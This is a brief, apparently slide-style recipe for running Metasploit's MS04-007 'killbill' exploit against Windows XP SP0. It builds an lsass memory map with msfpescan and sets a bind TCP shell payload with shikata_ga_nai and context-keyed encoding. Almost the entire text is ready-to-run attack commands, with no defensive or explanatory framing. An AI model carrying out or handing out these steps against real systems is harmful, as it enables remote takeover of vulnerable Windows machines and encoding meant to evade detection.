ms04-007 vs. XP-SP0

• Create Memory Map

• • msfpescan --context-map context lsass-dlls/*
  • cat context/* >> lsass.exe.map

• Metasploit:

• • use exploit/windows/smb/ms04-007-killbill
  • set PAYLOAD windows/shell_bind_tcp
  • set ENCODER x86/shikata_ga_nai
  • set EnableContextEncoding 1
  • set ContextInformationFile lsass.exe.map
  • exploit